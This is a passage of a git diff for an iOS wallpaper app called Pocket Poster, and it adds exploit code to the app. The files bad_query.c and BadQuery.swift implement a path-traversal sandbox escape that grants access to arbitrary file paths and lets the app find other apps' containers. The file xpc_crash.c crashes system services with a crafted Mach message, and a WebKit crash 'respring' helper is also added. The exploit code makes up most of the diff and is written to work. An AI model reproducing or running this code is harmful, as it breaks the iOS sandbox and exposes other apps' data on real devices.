SymHandler.getDocumentsDirectory() diff --git a/Pocket Poster/Controllers/RespringHelper.swift b/Pocket Poster/Controllers/RespringHelper.swift new file mode 100644 index 0000000..277b414 --- /dev/null +++ b/Pocket Poster/Controllers/RespringHelper.swift @@ -0,0 +1,124 @@ +// +// RespringHelper.swift +// Pocket Poster +// +// Mond-style instant respring (WebKit GPU crash @neonmodder123). +// No VC present/dismiss chain — WKWebView on a top-level window, load immediately. +// + +import Foundation +import UIKit +import WebKit +import ObjectiveC + +enum RespringHelper { + + /// Keep the respring window alive until the process dies. + private static var stickyWindow: UIWindow? + private static var stickyWebView: WKWebView? + + /// Direct crash payload (inner document from Mond — no outer iframe delay). + /// Credit: @neonmodder123 / Mond + private static let crashHTML = """ + + """ + + /// Instant full respring (Mond path). Safe under LiveContainer. + static func respring() { + #if targetEnvironment(simulator) + print("respring skipped on simulator") + return + #else + // Must be main thread for UIWindow / WKWebView + if !Thread.isMainThread { + DispatchQueue.main.async { fireNow() } + return + } + fireNow() + #endif + } + + static func respringNow() { respring() } + + private static func fireNow() { + UIImpactFeedbackGenerator(style: .heavy).impactOccurred() + + // 1) Kill any alerts instantly so nothing blocks rendering + currentUIAlertController?.dismiss(animated: false) + currentUIAlertController = nil + + // 2) Build WKWebView + load crash HTML BEFORE showing window (starts process ASAP) + let config = WKWebViewConfiguration() + config.websiteDataStore = .nonPersistent() + let prefs = WKWebpagePreferences() + prefs.allowsContentJavaScript = true + config.defaultWebpagePreferences = prefs + // Shared process pool warms slightly faster on repeat + config.processPool = WKProcessPool() + + let webView = WKWebView(frame: UIScreen.main.bounds, configuration: config) + webView.isOpaque = false + webView.backgroundColor = .black + webView.scrollView.isScrollEnabled = false + webView.scrollView.backgroundColor = .black + + // Load payload immediately — don't wait for layout/appear + webView.loadHTMLString(crashHTML, baseURL: URL(string: "about:blank")) + stickyWebView = webView + + // 3) Slap it on a top-level window (no present animation, no host VC) + let scenes = UIApplication.shared.connectedScenes.compactMap { $0 as? UIWindowScene } + let scene = scenes.first(where: { $0.activationState == .foregroundActive }) ?? scenes.first + + let window: UIWindow + if let scene { + window = UIWindow(windowScene: scene) + window.frame = scene.coordinateSpace.bounds + } else { + window = UIWindow(frame: UIScreen.main.bounds) + } + window.windowLevel = .alert + 100 + window.backgroundColor = .black + window.isHidden = false + + let host = UIViewController() + host.view.backgroundColor = .black + host.view.addSubview(webView) + webView.frame = host.view.bounds + webView.autoresizingMask = [.flexibleWidth, .flexibleHeight] + window.rootViewController = host + window.makeKeyAndVisible() + stickyWindow = window + + // Force a layout pass so WebKit starts compositing now + window.layoutIfNeeded() + webView.setNeedsLayout() + webView.layoutIfNeeded() + + // Re-load once more after attach (some LC builds only execute JS after in-hierarchy) + webView.loadHTMLString(crashHTML, baseURL: nil) + + // 4) Outside LiveContainer, also hit XPC immediately (no delay) + let inLC = ProcessInfo.processInfo.environment["LC_HOME_PATH"] != nil + || Bundle.main.bundlePath.contains("LiveContainer") + if !inLC { + restartFrontboard() + restartBackboard() + } + } +} diff --git a/Pocket Poster/Controllers/SymHandler.swift b/Pocket Poster/Controllers/SymHandler.swift index 417e590..ad6b70d 100644 --- a/Pocket Poster/Controllers/SymHandler.swift +++ b/Pocket Poster/Controllers/SymHandler.swift @@ -34,7 +34,12 @@ class SymHandler { return getLCDocumentsDirectory().appendingPathComponent(".Trash", conformingTo: .symbolicLink) } - // MARK: Symlink Creation + /// Prefer bad_query (iOS 26/27 sandbox escape); fall back to .Trash symlink exploit. + static var prefersBadQuery: Bool { + BadQuery.isAvailable + } + + // MARK: Symlink Creation (legacy exploit for older iOS) static func createSymlink(to path: String) throws -> URL { // returns the url of the symlink let symURL = getSymlinkURL() @@ -64,6 +69,47 @@ class SymHandler { return try createAppSymlink(for: "\(appHash)/Library/Application Support/PRBPosterExtensionDataStore/\(extVer)/Extensions/\(ext)/descriptors") } + // MARK: Direct write via bad_query + + /// Copy descriptor folders into PosterBoard descriptors using sandbox escape. + static func writeDescriptorsViaBadQuery(appHash: String, ext: String, descriptorFolders: [URL]) throws { + let destPath = BadQuery.descriptorsPath(appHash: appHash, ext: ext) + print("bad_query writing to \(destPath)") + + // Ensure descriptors directory exists (open parent chain if needed) + try BadQuery.ensureDirectory(at: destPath) + + let handle = try BadQuery.consume(path: destPath, create: true) + defer { handle.release() } + + let fm = FileManager.default + for descr in descriptorFolders { + guard descr.lastPathComponent != "__MACOSX" else { continue } + let destName = UUID().uuidString + let destURL = URL(fileURLWithPath: destPath).appendingPathComponent(destName) + if fm.fileExists(atPath: destURL.path) { + try fm.removeItem(at: destURL) + } + try fm.copyItem(at: descr, to: destURL) + } + } + + /// Copy files into an absolute directory under an app container via bad_query. + static func writeFilesViaBadQuery(toDirectory destPath: String, files: [URL]) throws { + try BadQuery.ensureDirectory(at: destPath) + let handle = try BadQuery.consume(path: destPath, create: true) + defer { handle.release() } + + let fm = FileManager.default + for file in files { + let destURL = URL(fileURLWithPath: destPath).appendingPathComponent(file.lastPathComponent) + if fm.fileExists(atPath: destURL.path) { + try fm.removeItem(at: destURL) + } + try fm.copyItem(at: file, to: destURL) + } + } + static func cleanup() { // remove the symlink if it exists let symURL = getSymlinkURL() diff --git a/Pocket Poster/Exploit/BadQuery.swift b/Pocket Poster/Exploit/BadQuery.swift new file mode 100644 index 0000000..cc74d63 --- /dev/null +++ b/Pocket Poster/Exploit/BadQuery.swift @@ -0,0 +1,282 @@ +// +// BadQuery.swift +// Pocket Poster +// +// Swift wrapper around forcequitOS/bad_query sandbox escape +// (container_query path traversal via MobileGestalt SystemGroup). +// Supports iOS 26.0 – 26.6.1 / 27.0b4+. +// + +import Foundation + +enum BadQueryError: LocalizedError { + case invalidPath + case missingPath + case resolveFailed + case createFailed + case outsideSandbox + case kernelRejected + case asprintfFailed + case unknown(Int64) + case listFailed + case containerNotFound(String) + + var errorDescription: String? { + switch self { + case .invalidPath: + return "Path must be absolute." + case .missingPath: + return "Target path does not exist." + case .resolveFailed: + return "Failed to resolve containermanager symbols." + case .createFailed: + return "Failed to create container query." + case .outsideSandbox: + return "Path is outside containermanager sandbox." + case .kernelRejected: + return "Kernel refused to issue a sandbox extension." + case .asprintfFailed: + return "Failed to build path traversal string." + case .unknown(let code): + return "bad_query failed with code \(code)." + case .listFailed: + return "Failed to enumerate containers (fsgetpath)." + case .containerNotFound(let bundleId): + return "Could not find container for \(bundleId)." + } + } + + static func from(code: Int64) -> BadQueryError { + switch code { + case -255: return .invalidPath + case -254: return .missingPath + case -1: return .resolveFailed + case -2: return .createFailed + case -3: return .outsideSandbox + case -4: return .kernelRejected + case -5: return .asprintfFailed + default: return .unknown(code) + } + } +} + +/// RAII-style sandbox extension handle. +final class BadQueryHandle { + private(set) var handle: Int64 + let path: String + + init(handle: Int64, path: String) { + self.handle = handle + self.path = path + } + + deinit { + release() + } + + func release() { + guard handle >= 0 else { return } + bad_query_release(handle) + handle = -1 + } +} + +enum BadQuery { + /// PosterBoard / related bundle identifiers. + static let posterBoardBundleId = "com.apple.PosterBoard" + static let carPlayWallpaperBundleId = "com.apple.CarPlayWallpaper" + + // MARK: - Availability + + /// True when the MobileGestalt system-group query route resolves symbols. + /// Cheap probe: only checks dlsym path by attempting a known-existing system path with create=true. + static var isAvailable: Bool { + // Probe with a path that should always exist on device; create=true skips lstat + // so we only fail if symbols/query plumbing is broken (patched OS). + let probe = "/var/mobile" + var cPath = probe.utf8CString.map { Int8($0) } + let result = bad_query(&cPath, true, nil, false) + if result >= 0 { + bad_query_release(result) + return true + } + // -3/-4 mean query ran but path/token failed; symbols still work + if result == -3 || result == -4 || result == -254 { + return true + } + // -1/-2 = symbols/query broken + return result != -1 && result != -2 + } + + // MARK: - Consume / Release + + /// Obtain a sandbox extension for an absolute path. + /// - Parameters: + /// - path: Absolute filesystem path + /// - create: If true, skip existence check (use when lstat is blocked by sandbox) + /// - groupIdentifier: Optional app group; nil uses MobileGestalt SystemGroup (iOS 27 preferred) + /// - isGroup: iOS 26 App Group flag route + @discardableResult + static func consume( + path: String, + create: Bool = false, + groupIdentifier: String? = nil, + isGroup: Bool = false + ) throws -> BadQueryHandle { + guard path.hasPrefix("/") else { throw BadQueryError.invalidPath } + + var cPath = path.utf8CString.map { Int8($0) } + let handle: Int64 + if let group = groupIdentifier { + var cGroup = group.utf8CString.map { Int8($0) } + handle = bad_query(&cPath, create, &cGroup, isGroup) + } else { + handle = bad_query(&cPath, create, nil, isGroup) + } + + guard handle >= 0 else { + // Retry with create=true if existence check failed under sandbox + if !create && handle == -254 { + return try consume(path: path, create: true, groupIdentifier: groupIdentifier, isGroup: isGroup) + } + throw BadQueryError.from(code: handle) + } + return BadQueryHandle(handle: handle, path: path) + } + + // MARK: - Listing + + /// Enumerate immediate children under `path` via fsgetpath inode scan. + static func list(path: String, maxInode: Int64 = 2_000_000) throws -> [String] { + var cPath = path.utf8CString.map { Int8($0) } + guard let raw = bad_query_list(&cPath, maxInode) else { + throw BadQueryError.listFailed + } + defer { free(raw) } + let str = String(cString: raw) + return str + .split(whereSeparator: \.isNewline) + .map(String.init) + .filter { !$0.isEmpty } + } + + // MARK: - Container discovery + + private static let metadataFileName = ".com.apple.mobile_container_manager.metadata.plist" + + /// Read MCMMetadataIdentifier from a container root, using bad_query for access. + static func readBundleId(fromContainerPath containerPath: String) -> String? { + let metaPath = (containerPath as NSString).appendingPathComponent(metadataFileName) + guard let token = try? consume(path: metaPath, create: true) else { return nil } + defer { token.release() } + + guard let dict = NSDictionary(contentsOfFile: metaPath) as? [String: Any] else { + // Some layouts use a non-hidden name + let alt = (containerPath as NSString).appendingPathComponent("com.apple.mobile_container_manager.metadata.plist") + if let altToken = try? consume(path: alt, create: true) { + defer { altToken.release() } + if let d = NSDictionary(contentsOfFile: alt) as? [String: Any] { + return d["MCMMetadataIdentifier"] as? String + } + } + return nil + } + return dict["MCMMetadataIdentifier"] as? String + } + + /// Find application container UUID for a bundle identifier (on-device, no PC). + static func findAppHash(bundleId targetBundleId: String, searchRoots: [String]? = nil) throws -> String { + let roots = searchRoots ?? [ + "/var/mobile/Containers/Data/Application", + "/var/mobile/Containers/Data/InternalDaemon", + "/var/mobile/Containers/Data/PluginKitPlugin" + ] + + for root in roots { + let children: [String] + do { + children = try list(path: root) + } catch { + continue + } + + for child in children { + let uuid = (child as NSString).lastPathComponent + // Normalize to the root we know + let containerPath = "\(root)/\(uuid)" + if let id = readBundleId(fromContainerPath: containerPath), id == targetBundleId { + return uuid + } + } + } + + throw BadQueryError.containerNotFound(targetBundleId) + } + + static func findPosterBoardHash() throws -> String { + try findAppHash(bundleId: posterBoardBundleId) + } + + static func findCarPlayHash() throws -> String { + try findAppHash(bundleId: carPlayWallpaperBundleId) + } + + // MARK: - Path helpers + + static func applicationContainerPath(appHash: String) -> String { + "/var/mobile/Containers/Data/Application/\(appHash)" + } + + static func descriptorsPath(appHash: String, ext: String) -> String { + let ver = SymHandler.getExtensionVersion() + return applicationContainerPath(appHash: appHash) + + "/Library/Application Support/PRBPosterExtensionDataStore/\(ver)/Extensions/\(ext)/descriptors" + } + + static func carPlayCachePath(appHash: String) -> String { + applicationContainerPath(appHash: appHash) + + "/Library/Caches/MappedImageCache/com.apple.CarPlayApp.wallpaper-images" + } + + // MARK: - File ops under extension + + /// Copy a directory or file into `destinationDirectory` (must already be accessible via handle). + static func copyItem(at source: URL, intoDestinationDirectory destDir: String, named name: String? = nil) throws { + let destName = name ?? source.lastPathComponent + let destURL = URL(fileURLWithPath: destDir).appendingPathComponent(destName) + let fm = FileManager.default + if fm.fileExists(atPath: destURL.path) { + try fm.removeItem(at: destURL) + } + try fm.copyItem(at: source, to: destURL) + } + + /// Ensure a directory exists at path while holding a parent extension if needed. + static func ensureDirectory(at path: String) throws { + let fm = FileManager.default + if fm.fileExists(atPath: path) { return } + + // Walk up to find an existing ancestor we can open, then create intermediates + let components = path.split(separator: "/").map(String.init) + var built = "" + var lastExisting = "" + for part in components { + built += "/" + part + if fm.fileExists(atPath: built) { + lastExisting = built + } + } + + if lastExisting.isEmpty { + // Get extension on the full path with create=true and mkdir + let handle = try consume(path: path, create: true) + defer { handle.release() } + try fm.createDirectory(atPath: path, withIntermediateDirectories: true) + return + } + + let handle = try consume(path: lastExisting, create: true) + defer { handle.release() } + try fm.createDirectory(atPath: path, withIntermediateDirectories: true) + } +} diff --git a/Pocket Poster/Exploit/Pocket-Poster-Bridging-Header.h b/Pocket Poster/Exploit/Pocket-Poster-Bridging-Header.h new file mode 100644 index 0000000..203ced8 --- /dev/null +++ b/Pocket Poster/Exploit/Pocket-Poster-Bridging-Header.h @@ -0,0 +1,9 @@ +// +// Pocket-Poster-Bridging-Header.h +// Pocket Poster +// +// Exposes C exploit helpers to Swift. +// + +#import "bad_query.h" +#import "xpc_crash.h" diff --git a/Pocket Poster/Exploit/bad_query.c b/Pocket Poster/Exploit/bad_query.c new file mode 100644 index 0000000..730095c --- /dev/null +++ b/Pocket Poster/Exploit/bad_query.c @@ -0,0 +1,183 @@ +// +// bad_query.c +// bad_query +// +// Created by Taj C on 7/21/26. +// + +#include "bad_query.h" +#include +#include +#include +#include +#include +#include +#include +#include + +#include +#include + +typedef void *(*container_query_create_fn)(void); +typedef void (*container_query_set_class_fn)(void *, uint64_t); +typedef void (*container_query_set_identifiers_fn)(void *, xpc_object_t); +typedef void (*container_query_set_flags_fn)(void *, uint64_t); +typedef void (*container_query_set_part_fn)(void *, uint64_t); +typedef void (*container_query_set_part_domain_fn)(void *, const char *); +typedef void *(*container_query_get_single_result_fn)(void *); +typedef void (*container_query_free_fn)(void *); +typedef char *(*container_copy_sandbox_token_fn)(void *); +typedef int64_t (*sandbox_extension_consume_fn)(const char *); +typedef int (*sandbox_extension_release_fn)(int64_t); + +int64_t bad_query(char* path, bool create, char *group_identifier, bool is_group) { + // Sanity check our path and check if something already exists there + if (!path || path[0] != '/') return -255; // Not an absolute path + if (!create) { + struct stat st; + if (lstat(path, &st) != 0) return -254; // File is missing, so we'll return + } + + // Now the fun begins + void *mgr = dlopen("/usr/lib/system/libsystem_containermanager.dylib", RTLD_NOW | RTLD_LOCAL); + if (!mgr) return -1; // Failed to dlopen + + // Resolve functions + container_query_create_fn query_create = (container_query_create_fn)dlsym(mgr, "container_query_create"); + container_query_set_class_fn query_set_class = (container_query_set_class_fn)dlsym(mgr, "container_query_set_class"); + container_query_set_identifiers_fn query_set_group_identifiers = (container_query_set_identifiers_fn)dlsym(mgr, "container_query_set_group_identifiers"); + container_query_set_flags_fn query_set_flags = (container_query_set_flags_fn)dlsym(mgr, "container_query_operation_set_flags"); + container_query_set_part_fn query_set_part = (container_query_set_part_fn)dlsym(mgr, "container_query_operation_set_part"); + container_query_set_part_domain_fn query_set_part_domain = (container_query_set_part_domain_fn)dlsym(mgr, "container_query_operation_set_part_domain"); + container_query_get_single_result_fn query_get_single_result = (container_query_get_single_result_fn)dlsym(mgr, "container_query_get_single_result"); + container_query_free_fn query_free = (container_query_free_fn)dlsym(mgr, "container_query_free"); + container_copy_sandbox_token_fn copy_sandbox_token = (container_copy_sandbox_token_fn)dlsym(mgr, "container_copy_sandbox_token"); + sandbox_extension_consume_fn consume_extension = (sandbox_extension_consume_fn)dlsym(RTLD_DEFAULT, "sandbox_extension_consume"); + + int64_t handle = -1; + if (!query_create || !query_set_class || !query_set_group_identifiers || !query_set_flags || !query_set_part || !query_set_part_domain || !query_get_single_result || !query_free || !copy_sandbox_token || !consume_extension) { + dlclose(mgr); + return -1; // Failed to resolve a function + } + + // Create query + void *query = query_create(); + if (!query) { + dlclose(mgr); + return -2; // Failed to create query + } + + // Set up query + // Two routes here, supply an App Group you control (to access other App Groups on iOS 26) or don't, and use MobileGestalt's SystemGroup as a target instead. If targeting iOS 26 and trying to access App Groups, also set is_group to true to use the correct flags. + xpc_object_t identifier; + if (group_identifier == NULL) { + query_set_class(query, 13); // Class 13 (MCMSharedSystemDataContainer) routes to containermanagerd_system + identifier = xpc_string_create("systemgroup.com.apple.mobilegestaltcache"); + } else { + query_set_class(query, 7); // Class 7 (MCMSharedDataContainer) routes to containermanagerd + identifier = xpc_string_create(group_identifier); + } + query_set_group_identifiers(query, identifier); + query_set_part(query, 3); // Part determines our starting point, part 3 is Library/Caches + char *part = NULL; + // Oldest trick in the book. Basic path traversal. + if (group_identifier == NULL) { + if (asprintf(&part, "../../../../../../../..%s", path) != -1) { + query_set_part_domain(query, part); + } else { + xpc_release(identifier); + query_free(query); + dlclose(mgr); + return -5; // asprintf failed for some reason + } + } else { + // We have to go one level higher to get to / from an App Group + if (asprintf(&part, "../../../../../../../../..%s", path) != -1) { + query_set_part_domain(query, part); + } else { + xpc_release(identifier); + query_free(query); + dlclose(mgr); + return -5; // Same thing + } + } + + // To access App Groups on iOS 26, you have to use different flags, this doesn't apply on 27 + if (is_group) { + query_set_flags(query, 0x0000000800000000ULL); + } else { + query_set_flags(query, 0x0000008000000000ULL); + } + + // Send our query over + void *result = query_get_single_result(query); + if (!result) { + free(part); + xpc_release(identifier); + query_free(query); + dlclose(mgr); + return -3; // Outside of sandbox + } + char *token = copy_sandbox_token(result); + if (!token) { + free(part); + xpc_release(identifier); + query_free(query); + dlclose(mgr); + return -4; // Kernel refused to issue a sandbox extension + } + + // Consume our fresh sandbox extension and clean up + handle = consume_extension(token); + free(token); + free(part); + xpc_release(identifier); + query_free(query); + + dlclose(mgr); + return handle; +} + +void bad_query_release(int64_t handle) { + if (handle < 0) return; + sandbox_extension_release_fn release_extension = (sandbox_extension_release_fn)dlsym(RTLD_DEFAULT, "sandbox_extension_release"); + if (release_extension) release_extension(handle); +} + +// This still works on 27.0b5 +// I'm including it here because it's very useful in the context of this sandbox escape, which can't access parent directories (most of the time) +// This enumerates all directories in a given path, so you can, for example, get all container UUIDs, read their container metadata to get their bundle ID, and derive that entirely on-device without a computer +char *bad_query_list(char *path, int64_t max_inode) { + struct statfs sfs; + // Prefer the target path; fall back to known on-volume roots if sandboxed + if (statfs(path, &sfs) != 0) { + if (statfs("/private/var", &sfs) != 0 && statfs("/var", &sfs) != 0) { + return NULL; + } + } + fsid_t fsid = sfs.f_fsid; + + size_t cap = 65536; + size_t length = 0; + size_t path_length = strlen(path); + + char *out = malloc(cap); + if (!out) return NULL; + out[0] = '\0'; + + char buf[1200]; + for (uint64_t ino = 1; ino <= max_inode; ino++) { + ssize_t n = fsgetpath(buf, sizeof(buf), &fsid, ino); + if (n <= 0) continue; + + const char *p = buf; + if (strncmp(p, "/private/var/", 13) == 0) p += 8; + if (strncmp(p, path, path_length) != 0 || p[path_length] != '/') continue; + if (strchr(p + path_length + 1, '/')) continue; + + size_t need = strlen(p) + 2; + if (length + need > cap) { cap *= 2; char *t = realloc(out, cap); if (!t) break; out = t; } + length += snprintf(out + length, cap - length, "%s\n", p); + } + return out; +} diff --git a/Pocket Poster/Exploit/bad_query.h b/Pocket Poster/Exploit/bad_query.h new file mode 100644 index 0000000..4b79ce6 --- /dev/null +++ b/Pocket Poster/Exploit/bad_query.h @@ -0,0 +1,18 @@ +// +// bad_query.h +// bad_query +// +// Created by Taj C on 7/21/26. +// + +#ifndef bad_query_h +#define bad_query_h + +#include +#include + +int64_t bad_query(char* path, bool create, char *group_identifier, bool is_group); +char *bad_query_list(char *path, int64_t max_inode); +void bad_query_release(int64_t handle); + +#endif /* bad_query_h */ diff --git a/Pocket Poster/Exploit/xpc_crash.c b/Pocket Poster/Exploit/xpc_crash.c new file mode 100644 index 0000000..13db141 --- /dev/null +++ b/Pocket Poster/Exploit/xpc_crash.c @@ -0,0 +1,110 @@ +// +// xpc_crash.c +// Pocket Poster +// +// Ported from Cowabunga / TrollTools helpers.m +// (xpc w00t technique: https://googleprojectzero.blogspot.com/2019/04/splitting-atoms-in-xnu.html) +// + +#include "xpc_crash.h" +#include +#include +#include + +// bootstrap_look_up is in libsystem_kernel / libxpc but not always in public headers +extern kern_return_t bootstrap_look_up(mach_port_t bp, const char *service_name, mach_port_t *sp); +extern mach_port_t bootstrap_port; + +struct xpc_w00t { + mach_msg_header_t hdr; + mach_msg_body_t body; + mach_msg_port_descriptor_t client_port; + mach_msg_port_descriptor_t reply_port; +}; + +static mach_port_t get_send_once(mach_port_t recv) { + mach_port_t so = MACH_PORT_NULL; + mach_msg_type_name_t type = 0; + kern_return_t err = mach_port_extract_right(mach_task_self(), recv, MACH_MSG_TYPE_MAKE_SEND_ONCE, &so, &type); + if (err != KERN_SUCCESS) { + return MACH_PORT_NULL; + } + return so; +} + +void xpc_crasher(char *service_name) { + mach_port_t client_port = MACH_PORT_NULL; + mach_port_t reply_port = MACH_PORT_NULL; + mach_port_t service_port = MACH_PORT_NULL; + + kern_return_t err = bootstrap_look_up(bootstrap_port, service_name, &service_port); + if (err != KERN_SUCCESS) { + printf("xpc_crasher: unable to look up %s\n", service_name); + return; + } + if (service_port == MACH_PORT_NULL) { + printf("xpc_crasher: bad service port for %s\n", service_name); + return; + } + + err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &client_port); + if (err != KERN_SUCCESS) { + return; + } + + mach_port_t so0 = get_send_once(client_port); + mach_port_t so1 = get_send_once(client_port); + + err = mach_port_insert_right(mach_task_self(), client_port, client_port, MACH_MSG_TYPE_MAKE_SEND); + if (err != KERN_SUCCESS) { + return; + } + + err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &reply_port); + if (err != KERN_SUCCESS) { + return; + } + + struct xpc_w00t msg; + memset(&msg.hdr, 0, sizeof(msg)); + msg.hdr.msgh_bits = MACH_MSGH_BITS_SET(MACH_MSG_TYPE_COPY_SEND, 0, 0, MACH_MSGH_BITS_COMPLEX); + msg.hdr.msgh_size = sizeof(msg); + msg.hdr.msgh_remote_port = service_port; + msg.hdr.msgh_id = 'w00t'; + + msg.body.msgh_descriptor_count = 2; + + msg.client_port.name = client_port; + msg.client_port.disposition = MACH_MSG_TYPE_MOVE_RECEIVE; + msg.client_port.type = MACH_MSG_PORT_DESCRIPTOR; + + msg.reply_port.name = reply_port; + msg.reply_port.disposition = MACH_MSG_TYPE_MAKE_SEND; + msg.reply_port.type = MACH_MSG_PORT_DESCRIPTOR; + + err = mach_msg(&msg.hdr, + MACH_SEND_MSG | MACH_MSG_OPTION_NONE, + msg.hdr.msgh_size, + 0, + MACH_PORT_NULL, + MACH_MSG_TIMEOUT_NONE, + MACH_PORT_NULL); + + if (err != KERN_SUCCESS) { + printf("xpc_crasher: w00t send failed for %s: %s\n", service_name, mach_error_string(err)); + } else { + printf("xpc_crasher: sent w00t to %s\n", service_name); + } + + if (so0 != MACH_PORT_NULL) mach_port_deallocate(mach_task_self(), so0); + if (so1 != MACH_PORT_NULL) mach_port_deallocate(mach_task_self(), so1); +} + +void restartBackboard(void) { + xpc_crasher("com.apple.backboard.TouchDeliveryPolicyServer"); +} + +void restartFrontboard(void) { + // May not kill the calling app on some versions — caller should exit(0) after. + xpc_crasher("com.apple.frontboard.systemappservices"); +} diff --git a/Pocket Poster/Exploit/xpc_crash.h b/Pocket Poster/Exploit/xpc_crash.h new file mode 100644 index 0000000..74efece --- /dev/null +++ b/Pocket Poster/Exploit/xpc_crash.h @@ -0,0 +1,22 @@ +// +// xpc_crash.h +// Pocket Poster +// +// Userspace respring helpers (from Cowabunga / Project Zero xpc w00t). +// + +#ifndef xpc_crash_h +#define xpc_crash_h + +#include + +/// Crash an XPC service by name (triggers relaunch of the hosting process). +void xpc_crasher(char *service_name); + +/// Respring via crashing com.apple.backboard.TouchDeliveryPolicyServer +void restartBackboard(void); + +/// Respring via crashing com.apple.frontboard.systemappservices +void restartFrontboard(void); + +#endif /* xpc_crash_h */ diff --git a/Pocket Poster/Extensions/Views/Alert++.swift b/Pocket Poster/Extensions/Views/Alert++.swift index adb3f31..8c1cc77 100644 --- a/Pocket Poster/Extensions/Views/Alert++.swift +++ b/Pocket Poster/Extensions/Views/Alert++.swift @@ -18,42 +18,70 @@ fileprivate let cancelString = NSLocalizedString("Cancel", comment: "") extension UIApplication { - func dismissAlert(animated: Bool) { + func dismissAlert(animated: Bool, completion: (() -> Void)? = nil) { DispatchQueue.main.async { lastDismissTitle = currentUIAlertController?.title - currentUIAlertController?.dismiss(animated: animated) + if let alert = currentUIAlertController { + // Always clear pointer first so a follow-up present() won't chain on a dying VC + currentUIAlertController = nil + alert.dismiss(animated: animated) { + completion?() + } + } else { + // Also dismiss any orphaned presented alert + if let top = Self.topViewController(), top is UIAlertController { + top.dismiss(animated: animated) { + completion?() + } + } else { + completion?() + } + } } } + func alert(title: String = errorString, body: String, animated: Bool = true, withButton: Bool = true) { - DispatchQueue.main.async { - var body = body - - if title == errorString { - // append debug info - let device = UIDevice.current - let appVersion = Bundle.main.infoDictionary?["CFBundleShortVersionString"] as? String ?? "" - let appBuild = Bundle.main.infoDictionary?["CFBundleVersion"] as? String ?? "" - let systemVersion = device.systemVersion - body += "\n\(device.systemName) \(systemVersion), v\(appVersion) build \(appBuild)" + // Dismiss any existing alert first so we never stack a buttonless spinner under a new sheet + dismissAlert(animated: false) { + DispatchQueue.main.async { + var body = body + + if title == errorString { + // append debug info + let device = UIDevice.current + let appVersion = Bundle.main.infoDictionary?["CFBundleShortVersionString"] as? String ?? "" + let appBuild = Bundle.main.infoDictionary?["CFBundleVersion"] as? String ?? "" + let systemVersion = device.systemVersion + body += "\n\(device.systemName) \(systemVersion), v\(appVersion) build \(appBuild)" + } + + let controller = UIAlertController(title: title, message: body, preferredStyle: .alert) + // Always allow dismiss for non-progress alerts; progress uses withButton: false intentionally + if withButton { + controller.addAction(.init(title: okString, style: .cancel)) + } + currentUIAlertController = controller + self.present(alert: controller) } - - currentUIAlertController = UIAlertController(title: title, message: body, preferredStyle: .alert) - if withButton { currentUIAlertController?.addAction(.init(title: okString, style: .cancel)) } - self.present(alert: currentUIAlertController!) } } + func confirmAlert(title: String = errorString, body: String, confirmTitle: String = okString, onOK: @escaping () -> (), noCancel: Bool) { - DispatchQueue.main.async { - currentUIAlertController = UIAlertController(title: title, message: body, preferredStyle: .alert) - if !noCancel { - currentUIAlertController?.addAction(.init(title: cancelString, style: .cancel)) + dismissAlert(animated: false) { + DispatchQueue.main.async { + let controller = UIAlertController(title: title, message: body, preferredStyle: .alert) + if !noCancel { + controller.addAction(.init(title: cancelString, style: .cancel)) + } + controller.addAction(.init(title: confirmTitle, style: noCancel ? .cancel : .default, handler: { _ in + onOK() + })) + currentUIAlertController = controller + self.present(alert: controller) } - currentUIAlertController?.addAction(.init(title: confirmTitle, style: noCancel ? .cancel : .default, handler: { _ in - onOK() - })) - self.present(alert: currentUIAlertController!) } } + func change(title: String = errorString, body: String) { DispatchQueue.main.async { currentUIAlertController?.title = title @@ -61,14 +89,30 @@ extension UIApplication { } } - func present(alert: UIAlertController) { - if let window = UIApplication.shared.connectedScenes.map({ $0 as? UIWindowScene }).compactMap({ $0 }).first?.windows.first, var topController = window.rootViewController { - while let presentedViewController = topController.presentedViewController, presentedViewController.title != lastDismissTitle { - topController = presentedViewController - } - - topController.present(alert, animated: true) - // topController should now be your topmost view controller + /// Top-most VC in the key window (skips being-dismissed alerts when possible). + static func topViewController() -> UIViewController? { + let scenes = UIApplication.shared.connectedScenes.compactMap { $0 as? UIWindowScene } + let window = scenes + .flatMap { $0.windows } + .first { $0.isKeyWindow } ?? scenes.first?.windows.first + guard var top = window?.rootViewController else { return nil } + while let presented = top.presentedViewController { + // Prefer not to stop on a controller that is mid-dismiss + if presented.isBeingDismissed { break } + top = presented } + return top + } + + func present(alert: UIAlertController) { + guard let topController = Self.topViewController() else { return } + // If top is already an alert being shown, replace it + if let existing = topController as? UIAlertController { + existing.dismiss(animated: false) { + Self.topViewController()?.present(alert, animated: true) + } + return + } + topController.present(alert, animated: true) } } diff --git a/Pocket Poster/Localizable.xcstrings b/Pocket Poster/Localizable.xcstrings index 33bce34..10edfef 100644 --- a/Pocket Poster/Localizable.xcstrings +++ b/Pocket Poster/Localizable.xcstrings @@ -841,6 +841,9 @@ } } } + }, + "bad_query available — on-device detect works (no PC)." : { + }, "Cancel" : { "localizations" : { @@ -2599,6 +2602,12 @@ } } } + }, + "Detect On-Device" : { + + }, + "Detect via Nugget" : { + }, "Disable Video Duration Limit" : { "localizations" : { @@ -4090,6 +4099,7 @@ } }, "Exploit" : { + "extractionState" : "stale", "localizations" : { "ar" : { "stringUnit" : { @@ -4242,6 +4252,9 @@ } } } + }, + "Exploit (.Trash)" : { + }, "Explore" : { "localizations" : { @@ -7306,6 +7319,9 @@ } } } + }, + "No hash set — will auto-detect via bad_query on Apply." : { + }, "Nugget GitHub" : { "localizations" : { diff --git a/Pocket Poster/Views/ContentView.swift b/Pocket Poster/Views/ContentView.swift index 3383456..e81b827 100644 --- a/Pocket Poster/Views/ContentView.swift +++ b/Pocket Poster/Views/ContentView.swift @@ -58,10 +58,15 @@ struct ContentView: View { } Section { - if pbHash == "" { + if pbHash == "" && !SymHandler.prefersBadQuery { Text("Enter your PosterBoard app hash in Settings.") } else { VStack { + if pbHash == "" && SymHandler.prefersBadQuery { + Text("No hash set — will auto-detect via bad_query on Apply.") + .font(.caption) + .foregroundStyle(.secondary) + } if !pbManager.selectedTendies.isEmpty || !pbManager.videos.isEmpty { Button(action: { UIImpactFeedbackGenerator(style: .soft).impactOccurred() @@ -69,21 +74,23 @@ struct ContentView: View { DispatchQueue.global(qos: .userInitiated).async { do { - try pbManager.applyTendies(appHash: pbHash) + var hash = pbHash + if hash.isEmpty { + UIApplication.shared.change(title: NSLocalizedString("Applying Wallpapers...", comment: ""), body: "Detecting PosterBoard container…") + hash = try BadQuery.findPosterBoardHash() + DispatchQueue.main.async { pbHash = hash } + } + try 